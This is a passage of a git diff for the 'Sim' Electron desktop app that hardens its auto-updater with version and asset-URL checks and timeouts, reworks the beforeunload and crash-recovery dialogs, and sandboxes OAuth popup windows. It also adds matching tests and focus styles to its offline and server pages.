autoUpdater.on('checking-for-update', () => { + if (activeUpdaterCheckId === null) return setState({ status: 'checking' }) }) autoUpdater.on('update-not-available', () => { - finishCheck() + const checkId = activeUpdaterCheckId + if (checkId === null) return + finishUpdaterCheck(checkId) + if (updaterRequestId === checkId) updaterRequestId = null installAfterDownload = false setState({ status: 'idle' }) }) autoUpdater.on('update-available', (info) => { - finishCheck() - if (!isValidAutomaticUpdate(info.version, currentVersion)) { + const checkId = activeUpdaterCheckId + if (checkId === null) return + finishUpdaterCheck(checkId) + if (updaterRequestId === checkId) updaterRequestId = null + const channel = resolveUpdateChannel(currentVersion) + const validOriginAssets = + !originFeedConfigured || + (info.files.length > 0 && + info.files.every((file) => isReleaseAssetUrl(file.url, info.version, channel))) + if (!isValidUpdateCandidate(info.version, currentVersion) || !validOriginAssets) { + acceptedUpdateVersion = null installAfterDownload = false autoUpdater.autoInstallOnAppQuit = false deps.events.record('update_blocked_version', { version: info.version, - reason: 'not-newer', + reason: validOriginAssets ? 'not-newer' : 'unusable-url', }) setState({ status: 'idle' }) return } + acceptedUpdateVersion = info.version deps.events.record('update_check', { available: info.version }) // With auto-download on, download-progress events follow immediately; // `available` is the terminal state only when downloads are manual. @@ -382,6 +488,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) autoUpdater.on('download-progress', (progress) => { + if (state.status !== 'downloading') return setState({ status: 'downloading', version: state.version, @@ -390,24 +497,36 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) autoUpdater.on('update-downloaded', (info) => { - if (!isValidAutomaticUpdate(info.version, currentVersion)) { + if (state.status !== 'downloading' && !installAfterDownload) return + if ( + acceptedUpdateVersion !== info.version || + !isValidUpdateCandidate(info.version, currentVersion) + ) { + acceptedUpdateVersion = null installAfterDownload = false autoUpdater.autoInstallOnAppQuit = false deps.events.record('update_blocked_version', { version: info.version }) setState({ status: 'idle' }) return } + acceptedUpdateVersion = null autoUpdater.autoInstallOnAppQuit = true deps.events.record('update_downloaded', { version: info.version }) setState({ status: 'ready', version: info.version }) if (installAfterDownload) { installAfterDownload = false - autoUpdater.quitAndInstall() + quitAndInstall() } }) autoUpdater.on('error', (error) => { - finishCheck() + const checkId = activeUpdaterCheckId + if (checkId !== null) { + finishUpdaterCheck(checkId) + if (updaterRequestId === checkId) updaterRequestId = null + } else if (state.status !== 'downloading') { + return + } installAfterDownload = false deps.events.record('update_error', { message: getErrorMessage(error, 'unknown') }) setState({ status: 'error', version: state.version }) @@ -438,8 +557,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) type FeedResolution = 'origin' | 'fallback' | 'no-release' | 'skip' let originFeedConfigured = false - let feedProbeInFlight: Promise | null = null - const resolveFeedForCheck = async (): Promise => { + const resolveFeedForCheck = async (probeId: number): Promise => { if (originFeedConfigured) return 'origin' const feedUrl = feedUrlForOrigin(deps.appOrigin()) const stableBuild = resolveUpdateChannel(currentVersion) === 'latest' @@ -454,8 +572,9 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { if (!availability) { throw new Error('feed responded non-OK') } + if (activeProbeId !== probeId) return 'skip' autoUpdater.setFeedURL({ provider: 'generic', url: feedUrl, channel: 'latest' }) - autoUpdater.channel = 'latest' + setChannelWithoutDowngrades('latest') originFeedConfigured = true deps.events.record('update_feed', { url: feedUrl }) return 'origin' @@ -469,64 +588,79 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { return stableBuild ? 'fallback' : 'skip' } } - const feedForCheck = (): Promise => { - if (originFeedConfigured) return Promise.resolve('origin') - if (feedProbeInFlight) return feedProbeInFlight - feedProbeInFlight = resolveFeedForCheck().finally(() => { - feedProbeInFlight = null - }) - return feedProbeInFlight + const startUpdaterCheck = (interactive: boolean) => { + if (updaterRequestId !== null) { + if (interactive) setState({ status: 'error' }) + return + } + const checkId = ++nextUpdaterCheckId + activeUpdaterCheckId = checkId + updaterRequestId = checkId + updaterCheckTimeout = setTimeout(() => { + if (activeUpdaterCheckId !== checkId) return + finishUpdaterCheck(checkId) + deps.events.record('update_error', { message: 'Update check timed out' }) + if (state.status === 'checking') setState({ status: 'error' }) + }, UPDATE_CHECK_TIMEOUT_MS) + autoUpdater + .checkForUpdates() + .then(() => { + if (updaterRequestId === checkId) updaterRequestId = null + if (activeUpdaterCheckId !== checkId) return + finishUpdaterCheck(checkId) + if (interactive && state.status === 'checking') setState({ status: 'error' }) + }) + .catch((error) => { + if (updaterRequestId === checkId) updaterRequestId = null + if (activeUpdaterCheckId !== checkId) return + finishUpdaterCheck(checkId) + logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') }) + if (state.status === 'checking') setState({ status: 'error' }) + }) } return { check(interactive = false) { if ( - activeCheckId !== null || + activeProbeId !== null || + activeUpdaterCheckId !== null || state.status === 'available' || state.status === 'downloading' || state.status === 'ready' ) { return } - const checkId = ++nextCheckId - activeCheckId = checkId if (interactive) { setState({ status: 'checking' }) } - checkTimeout = setTimeout(() => { - if (activeCheckId !== checkId) return - finishCheck() - deps.events.record('update_error', { message: 'Update check timed out' }) + if (originFeedConfigured) { + startUpdaterCheck(interactive) + return + } + const probeId = ++nextProbeId + activeProbeId = probeId + probeTimeout = setTimeout(() => { + if (activeProbeId !== probeId) return + finishProbe(probeId) + deps.events.record('update_error', { message: 'Update feed probe timed out' }) if (state.status === 'checking') setState({ status: 'error' }) }, UPDATE_CHECK_TIMEOUT_MS) - void feedForCheck().then((feed) => { - if (activeCheckId !== checkId) return + void resolveFeedForCheck(probeId).then((feed) => { + if (activeProbeId !== probeId) return + finishProbe(probeId) if (feed === 'no-release') { - finishCheck() if (interactive && state.status === 'checking') setState({ status: 'idle' }) return } if (feed === 'skip') { - finishCheck() if (interactive && state.status === 'checking') setState({ status: 'error' }) return } - autoUpdater - .checkForUpdates() - .then(() => { - if (activeCheckId !== checkId) return - finishCheck() - if (interactive && state.status === 'checking') setState({ status: 'error' }) - }) - .catch((error) => { - if (activeCheckId !== checkId) return - finishCheck() - logger.warn('Update check failed', { message: getErrorMessage(error, 'unknown') }) - if (state.status === 'checking') setState({ status: 'error' }) - }) + startUpdaterCheck(interactive) }) }, advance() { + setState({ status: 'downloading', version: state.version }) autoUpdater.downloadUpdate().catch((error) => { installAfterDownload = false logger.warn('Update download failed', { message: getErrorMessage(error, 'unknown') }) @@ -534,7 +668,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { }) }, install() { - autoUpdater.quitAndInstall() + quitAndInstall() }, setAutoDownload(enabled) { autoUpdater.autoDownload = enabled @@ -549,20 +683,32 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { const response = await net.fetch(url, { signal: AbortSignal.timeout(UPDATE_CHECK_TIMEOUT_MS), }) - return response.ok ? await response.text() : null + return readUpdateManifest(response) }) let downloadUrl: string | null = null - let checkInFlight = false + let activeCheckId: number | null = null + let nextCheckId = 0 + let checkTimeout: ReturnType | null = null const doCheck = async () => { - if (checkInFlight || state.status === 'available') return - checkInFlight = true + if (activeCheckId !== null || state.status === 'available') return + const checkId = ++nextCheckId + activeCheckId = checkId + downloadUrl = null setState({ status: 'checking', manual: true }) + checkTimeout = setTimeout(() => { + if (activeCheckId !== checkId) return + activeCheckId = null + checkTimeout = null + deps.events.record('update_error', { message: 'Manual update check timed out' }) + setState({ status: 'error', manual: true }) + }, UPDATE_CHECK_TIMEOUT_MS) try { const feedUrl = feedUrlForOrigin(deps.appOrigin()) const manifest = feedUrl ? await fetchManifest(`${feedUrl}/latest-mac.yml`) : null + if (activeCheckId !== checkId) return const version = manifest ? (/^version:\s*(\S+)\s*$/m.exec(manifest)?.[1] ?? null) : null - if (!manifest || !version || !isNewerVersion(version, currentVersion)) { + if (!manifest || !version || !isValidUpdateCandidate(version, currentVersion)) { setState({ status: 'idle', manual: true }) return } @@ -576,7 +722,7 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { const urls = Array.from( manifest.matchAll(/^\s*(?:-\s*)?url:\s*(\S+)\s*$/gm), (m) => m[1] - ).filter(isReleaseAssetUrl) + ).filter((url) => isReleaseAssetUrl(url, version, resolveUpdateChannel(currentVersion))) downloadUrl = urls.find((url) => url.endsWith('.dmg')) ?? urls.find((url) => url.endsWith('.zip')) ?? @@ -597,10 +743,17 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { deps.events.record('update_check', { available: version, manual: true }) setState({ status: 'available', version, manual: true }) } catch (error) { + if (activeCheckId !== checkId) return logger.warn('Manual update check failed', { message: getErrorMessage(error, 'unknown') }) setState({ status: 'error', version: state.version, manual: true }) } finally { - checkInFlight = false + if (activeCheckId === checkId) { + activeCheckId = null + if (checkTimeout !== null) { + clearTimeout(checkTimeout) + checkTimeout = null + } + } } } @@ -628,7 +781,12 @@ export function initUpdater(deps: UpdaterDeps): UpdaterHandle { const canSelfUpdate = deps.canSelfUpdate ?? detectSelfUpdateCapability void canSelfUpdate() - .catch(() => true) + .catch((error) => { + logger.warn('Could not detect self-update capability; using manual updates', { + message: getErrorMessage(error, 'unknown'), + }) + return false + }) .then((capable) => { engine = capable ? buildAutoEngine() : buildManualEngine() if (!engine) { diff --git a/apps/desktop/src/main/window.test.ts b/apps/desktop/src/main/window.test.ts index 85644923119..b529d9a37c4 100644 --- a/apps/desktop/src/main/window.test.ts +++ b/apps/desktop/src/main/window.test.ts @@ -2,7 +2,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) -import { BrowserWindow, systemPreferences } from 'electron' +import { BrowserWindow, dialog, systemPreferences } from 'electron' import type { ConfigStore } from '@/main/config' import type { EventRecorder } from '@/main/observability' import { @@ -244,6 +244,105 @@ describe('createSecureWebPreferences', () => { }) describe('createMainWindow', () => { + beforeEach(() => { + vi.clearAllMocks() + }) + + function createTestWindow(isMandatoryRelaunchPending: () => boolean = () => false) { + const config = { + filePath: '/tmp/settings.json', + getOrigin: vi.fn(() => APP), + setOrigin: vi.fn(), + get: vi.fn(() => undefined), + set: vi.fn(), + } as unknown as ConfigStore + const events = { + filePath: '/tmp/events.jsonl', + record: vi.fn(), + } satisfies EventRecorder + const win = createMainWindow({ + config, + events, + appOrigin: () => APP, + partition: 'persist:sim', + preloadPath: '/tmp/preload.cjs', + isPackaged: false, + onClosed: vi.fn(), + isMandatoryRelaunchPending, + }) + const contentHandlers = new Map( + vi.mocked(win.webContents.on).mock.calls as unknown as Array< + [string, (...args: never[]) => unknown] + > + ) + return { events, win, contentHandlers } + } + + it('makes Stay the safe keyboard default for beforeunload', () => { + const { contentHandlers } = createTestWindow() + const handler = contentHandlers.get('will-prevent-unload') + const event = { preventDefault: vi.fn() } + + vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(0) + handler?.(event as never) + + expect(dialog.showMessageBoxSync).toHaveBeenCalledWith( + expect.any(BrowserWindow), + expect.objectContaining({ + buttons: ['Stay', 'Leave'], + defaultId: 0, + cancelId: 0, + }) + ) + expect(event.preventDefault).not.toHaveBeenCalled() + + vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(1) + handler?.(event as never) + expect(event.preventDefault).toHaveBeenCalledOnce() + }) + + it('allows a committed mandatory relaunch through beforeunload', () => { + const { contentHandlers } = createTestWindow(() => true) + const handler = contentHandlers.get('will-prevent-unload') + const event = { preventDefault: vi.fn() } + + handler?.(event as never) + + expect(event.preventDefault).toHaveBeenCalledOnce() + expect(dialog.showMessageBoxSync).not.toHaveBeenCalled() + }) + + it('queues crash recovery behind an open hang dialog without stacking dialogs', async () => { + let resolveHang: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined + vi.mocked(dialog.showMessageBox) + .mockImplementationOnce( + () => + new Promise((resolve) => { + resolveHang = resolve + }) + ) + .mockResolvedValue({ response: 0, checkboxChecked: false }) + const { contentHandlers, events } = createTestWindow() + + contentHandlers.get('unresponsive')?.() + contentHandlers.get('render-process-gone')?.( + undefined as never, + { reason: 'crashed', exitCode: 9 } as never + ) + contentHandlers.get('render-process-gone')?.( + undefined as never, + { reason: 'crashed', exitCode: 9 } as never + ) + + expect(dialog.showMessageBox).toHaveBeenCalledTimes(1) + expect(events.record).toHaveBeenCalledWith('renderer_unresponsive') + expect(events.record).toHaveBeenCalledWith('renderer_gone', expect.any(Object)) + expect(events.record).toHaveBeenCalledTimes(2) + + resolveHang?.({ response: 0, checkboxChecked: false }) + await vi.waitFor(() => expect(dialog.showMessageBox).toHaveBeenCalledTimes(2)) + }) + it('keeps the native macOS fullscreen titlebar blank', () => { const config = { filePath: '/tmp/settings.json', @@ -265,6 +364,7 @@ describe('createMainWindow', () => { preloadPath: '/tmp/preload.cjs', isPackaged: false, onClosed: vi.fn(), + isMandatoryRelaunchPending: () => false, platform: 'darwin', }) @@ -331,6 +431,7 @@ describe('createMainWindow', () => { preloadPath: '/tmp/preload.cjs', isPackaged: false, onClosed: vi.fn(), + isMandatoryRelaunchPending: () => false, restorePosition: false, }) diff --git a/apps/desktop/src/main/window.ts b/apps/desktop/src/main/window.ts index 5ec4c02b7f8..dc9390056a5 100644 --- a/apps/desktop/src/main/window.ts +++ b/apps/desktop/src/main/window.ts @@ -198,6 +198,8 @@ export interface CreateMainWindowDeps { preloadPath: string isPackaged: boolean onClosed: () => void + /** A committed process restart must not be cancelled by a renderer's beforeunload handler. */ + isMandatoryRelaunchPending: () => boolean onFullScreenChange?: (isFullScreen: boolean) => void /** * Restores the persisted screen position for the first window. Secondary @@ -283,21 +285,57 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow { }) win.webContents.on('will-prevent-unload', (event) => { + if (deps.isMandatoryRelaunchPending()) { + event.preventDefault() + return + } const choice = dialog.showMessageBoxSync(win, { type: 'question', - buttons: ['Leave', 'Stay'], + buttons: ['Stay', 'Leave'], defaultId: 0, - cancelId: 1, + cancelId: 0, message: 'Leave Sim?', detail: 'Changes you made may not be saved.', }) - if (choice === 0) { + if (choice === 1) { event.preventDefault() } }) + let recoveryDialog: 'crash' | 'hang' | null = null + let crashPendingAfterHang = false + + const showCrashRecovery = (): void => { + if (win.isDestroyed()) return + if (recoveryDialog !== null) { + if (recoveryDialog === 'hang') crashPendingAfterHang = true + return + } + recoveryDialog = 'crash' + void dialog + .showMessageBox(win, { + type: 'error', + buttons: ['Reload', 'Quit Sim'], + defaultId: 0, + cancelId: 0, + message: 'Sim encountered a problem', + detail: 'The page stopped unexpectedly. Reload to pick up where you left off.', + }) + .then(({ response }) => { + if (win.isDestroyed()) return + if (response === 0) win.webContents.reload() + else app.quit() + }) + .catch((error) => { + logger.error('Could not present renderer recovery', { error: getErrorMessage(error) }) + }) + .finally(() => { + recoveryDialog = null + }) + } + win.webContents.on('render-process-gone', (_event, details) => { - if (details.reason === 'clean-exit') { + if (details.reason === 'clean-exit' || recoveryDialog === 'crash' || crashPendingAfterHang) { return } deps.events.record('renderer_gone', { @@ -305,38 +343,12 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow { exitCode: details.exitCode, crashDumpDir: app.getPath('crashDumps'), }) - setTimeout(() => { - if (win.isDestroyed()) { - return - } - void dialog - .showMessageBox(win, { - type: 'error', - buttons: ['Reload', 'Quit Sim'], - defaultId: 0, - cancelId: 0, - message: 'Sim encountered a problem', - detail: 'The page stopped unexpectedly. Reload to pick up where you left off.', - }) - .then(({ response }) => { - if (win.isDestroyed()) { - return - } - if (response === 0) { - win.webContents.reload() - } else { - app.quit() - } - }) - }, 0) + showCrashRecovery() }) - let hangDialogOpen = false win.webContents.on('unresponsive', () => { - if (hangDialogOpen || win.isDestroyed()) { - return - } - hangDialogOpen = true + if (recoveryDialog !== null || win.isDestroyed()) return + recoveryDialog = 'hang' deps.events.record('renderer_unresponsive') void dialog .showMessageBox(win, { @@ -348,14 +360,22 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow { detail: 'You can wait for it to recover or reload the page.', }) .then(({ response }) => { - hangDialogOpen = false if (!win.isDestroyed() && response === 1) { win.webContents.reload() } }) - }) - win.webContents.on('responsive', () => { - hangDialogOpen = false + .catch((error) => { + logger.error('Could not present unresponsive renderer recovery', { + error: getErrorMessage(error), + }) + }) + .finally(() => { + recoveryDialog = null + if (crashPendingAfterHang) { + crashPendingAfterHang = false + showCrashRecovery() + } + }) }) let zoomRestored = false diff --git a/apps/desktop/src/main/windows.test.ts b/apps/desktop/src/main/windows.test.ts index 70c21ead0ce..c508f8b47ae 100644 --- a/apps/desktop/src/main/windows.test.ts +++ b/apps/desktop/src/main/windows.test.ts @@ -29,13 +29,14 @@ describe('attachWindowOpenPolicy', () => { vi.mocked(shell.openExternal).mockClear() }) - function setup() { + function setup(isMandatoryRelaunchPending: () => boolean = () => false) { const contents = makeContents() const openAppWindow = vi.fn() attachWindowOpenPolicy(contents as unknown as WebContents, { appOrigin: () => APP, openAppWindow, allowHttpLocalhost: false, + isMandatoryRelaunchPending, }) return { contents, openAppWindow } } @@ -46,12 +47,27 @@ describe('attachWindowOpenPolicy', () => { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1', }) - expect(result).toEqual({ action: 'allow' }) + expect(result).toEqual({ + action: 'allow', + overrideBrowserWindowOptions: { + webPreferences: expect.objectContaining({ + preload: undefined, + additionalArguments: [], + contextIsolation: true, + nodeIntegration: false, + sandbox: true, + webSecurity: true, + webviewTag: false, + }), + }, + }) }) it('allows blank children for the blank-then-assign pattern', () => { const { contents } = setup() - expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toEqual({ action: 'allow' }) + expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toMatchObject({ + action: 'allow', + }) }) it('opens internal new-window requests as full Sim windows', () => { @@ -81,6 +97,38 @@ describe('attachWindowOpenPolicy', () => { const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window') expect(didCreateWindow).toBeDefined() }) + + it('allows a mandatory relaunch through a child beforeunload', () => { + const { contents } = setup(() => true) + const childContents = makeContents() + const child = { webContents: childContents } + const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window') + const event = { preventDefault: vi.fn() } + + didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' }) + const willPreventUnload = childContents.on.mock.calls.find( + ([eventName]) => eventName === 'will-prevent-unload' + ) + willPreventUnload?.[1](event) + + expect(event.preventDefault).toHaveBeenCalledOnce() + }) + + it('leaves child beforeunload untouched during ordinary use', () => { + const { contents } = setup() + const childContents = makeContents() + const child = { webContents: childContents } + const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window') + const event = { preventDefault: vi.fn() } + + didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' }) + const willPreventUnload = childContents.on.mock.calls.find( + ([eventName]) => eventName === 'will-prevent-unload' + ) + willPreventUnload?.[1](event) + + expect(event.preventDefault).not.toHaveBeenCalled() + }) }) describe('popup registry', () => { diff --git a/apps/desktop/src/main/windows.ts b/apps/desktop/src/main/windows.ts index 44a16332b86..d5e84a971d7 100644 --- a/apps/desktop/src/main/windows.ts +++ b/apps/desktop/src/main/windows.ts @@ -1,5 +1,5 @@ import { createLogger } from '@sim/logger' -import type { BrowserWindow, WebContents } from 'electron' +import type { BrowserWindow, BrowserWindowConstructorOptions, WebContents } from 'electron' import { classifyBlankChildNavigation, classifyWindowOpen, @@ -11,6 +11,23 @@ const logger = createLogger('DesktopWindows') const popupContents = new WeakSet() +/** + * Child windows share the opener's session for OAuth state and window.opener + * messaging. These preferences isolate ordinary OAuth children from Sim's + * privileged preload. + */ +const ISOLATED_CHILD_WINDOW_OPTIONS = { + webPreferences: { + preload: undefined, + additionalArguments: [], + contextIsolation: true, + nodeIntegration: false, + sandbox: true, + webSecurity: true, + webviewTag: false, + }, +} satisfies BrowserWindowConstructorOptions + /** * Marks a WebContents as a guarded popup child (MCP OAuth, blank-then-assign) * so the navigation classifier can apply the more permissive popup policy. @@ -27,6 +44,7 @@ export interface WindowPolicyDeps { appOrigin: () => string openAppWindow: (url: string) => void allowHttpLocalhost: boolean + isMandatoryRelaunchPending: () => boolean } /** @@ -42,7 +60,10 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy switch (action) { case 'popup-mcp': case 'popup-blank': - return { action: 'allow' } + return { + action: 'allow', + overrideBrowserWindowOptions: ISOLATED_CHILD_WINDOW_OPTIONS, + } case 'popup-internal': { deps.openAppWindow(details.url) return { action: 'deny' } @@ -59,6 +80,11 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy contents.on('did-create-window', (child, details) => { registerPopupContents(child.webContents) attachWindowOpenPolicy(child.webContents, deps) + child.webContents.on('will-prevent-unload', (event) => { + if (deps.isMandatoryRelaunchPending()) { + event.preventDefault() + } + }) const kind = classifyWindowOpen(details.url, details.frameName, deps.appOrigin()) if (kind === 'popup-blank') { attachBlankChildGuards(child, deps) @@ -67,9 +93,9 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy } /** - * Routes the first real navigation of an about:blank child: same-origin URLs - * open in a full Sim window, external URLs open in the system browser, and - * the child closes either way. + * Routes the first real navigation of an about:blank child. Electron creates + * that transient document with inherited preferences, so it is treated only + * as a handoff: the first real URL opens elsewhere and the child closes. */ function attachBlankChildGuards(child: BrowserWindow, deps: WindowPolicyDeps): void { child.webContents.on('will-navigate', (event, url) => { diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts index 4e294b4af47..b62def2f525 100644 --- a/apps/desktop/src/preload/index.ts +++ b/apps/desktop/src/preload/index.ts @@ -483,9 +483,6 @@ const api: SimDesktopApi = { ipcRenderer.invoke('terminal:dispose-scope', scopeId), suspendScope: (scopeId: string): Promise => ipcRenderer.invoke('terminal:suspend-scope', scopeId), - dispose: (): void => { - ipcRenderer.send('terminal:dispose') - }, onData: ( callback: (terminalId: string, data: string, scopeId: string) => void ): (() => void) => { diff --git a/apps/desktop/src/test/electron-mock.ts b/apps/desktop/src/test/electron-mock.ts index 92ab79f12c3..264e5342b67 100644 --- a/apps/desktop/src/test/electron-mock.ts +++ b/apps/desktop/src/test/electron-mock.ts @@ -22,6 +22,8 @@ export const app = { on: vi.fn(), once: vi.fn(), quit: vi.fn(), + exit: vi.fn(), + relaunch: vi.fn(), focus: vi.fn(), enableSandbox: vi.fn(), requestSingleInstanceLock: vi.fn(() => true), @@ -222,9 +224,11 @@ export class WebContentsView { export class BrowserWindow { static fromWebContents = vi.fn(() => null) static getFocusedWindow = vi.fn(() => null) + static nextId = 1 /** Constructor tracking for tests (the class itself is not a vi.fn mock). */ static instances: BrowserWindow[] = [] static lastOptions: Record | undefined + readonly id = BrowserWindow.nextId++ constructor(options?: Record) { BrowserWindow.instances.push(this) BrowserWindow.lastOptions = options diff --git a/apps/desktop/static/offline.html b/apps/desktop/static/offline.html index 20d82e4bab9..47ae64e3533 100644 --- a/apps/desktop/static/offline.html +++ b/apps/desktop/static/offline.html @@ -126,6 +126,10 @@ stroke 150ms cubic-bezier(0.4, 0, 0.2, 1); -webkit-app-region: no-drag; } + button:focus-visible { + outline: 2px solid var(--text-primary); + outline-offset: 2px; + } /* `button { display: inline-flex }` is an author rule, so it beats the UA stylesheet's `[hidden] { display: none }` no matter the specificity — without this the hidden status button renders anyway. */ @@ -195,9 +199,9 @@

Can’t connect to Sim

Sim couldn’t reach the server. Check your internet connection, then try again.

- - - + + +
diff --git a/apps/desktop/static/server.html b/apps/desktop/static/server.html index ab39ce2e523..5334f995473 100644 --- a/apps/desktop/static/server.html +++ b/apps/desktop/static/server.html @@ -111,6 +111,11 @@ input:focus { border-color: var(--border-strong); } + input:focus-visible, + button:focus-visible { + outline: 2px solid var(--text-primary); + outline-offset: 2px; + } input[aria-invalid='true'] { border-color: var(--error); } @@ -183,11 +188,12 @@

Sim server

autocapitalize="off" spellcheck="false" placeholder="https://sim.example.com" + aria-describedby="message" />
- - + +